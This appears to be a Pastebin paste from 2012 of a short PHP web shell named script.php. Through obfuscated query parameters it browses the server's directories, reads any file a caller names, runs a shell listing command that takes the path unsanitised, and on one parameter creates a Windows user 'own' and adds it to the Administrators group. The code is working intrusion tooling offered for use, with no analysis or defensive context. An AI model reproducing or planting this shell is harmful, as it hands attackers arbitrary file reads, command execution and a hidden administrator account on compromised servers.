Advertisement
x-cisadane

script.php

May 30th, 2012
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.95 KB | None | 0 0
  1. <?php
  2. //I'm using code from Inphex (inphex0 at googlemail.com)
  3. //Copyrighted © Inphex
  4. error_reporting(E_ALL ^ E_NOTICE);
  5. $qQa = ($_GET['qmB'] == "")?"./":$_GET['qmB'];
  6. $qQd = opendir($qQa);
  7.  
  8. if (isset($_GET['qrF']))
  9. {
  10. $qrX = fopen($_GET['qrF'],"r");
  11. echo fread($qrX,50000);
  12. exit;
  13. } elseif(isset($_GET['qQx'])) { exec("net user own own /add & net
  14. localgroup Administrators own /add"); echo "User own -> full privileges
  15. successfully added";exit;}
  16. echo "<textarea rows=40 cols=80
  17. style='position:absolute;margin-left:390;'>";
  18. echo htmlspecialchars(shell_exec("cd ".$qQa." & dir"));
  19. echo "</textarea>";
  20. while (false !== ($qQr = readdir($qQd))){
  21.  
  22. switch(filetype($qQa.$qQr))
  23. {
  24. case "dir":
  25. echo "<a
  26. href=?qmB=".urlencode(htmlspecialchars(realpath($qQa.$qQr)))."/>".htmlspecialchars($qQr)."</a><br>";
  27. break;
  28. case "file":
  29. echo "<a
  30. href=?qrF=".urlencode(htmlspecialchars(realpath($qQa.$qQr))).">".htmlspecialchars($qQr)."</a><br>";
  31. break;
  32. }
  33. }
  34. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement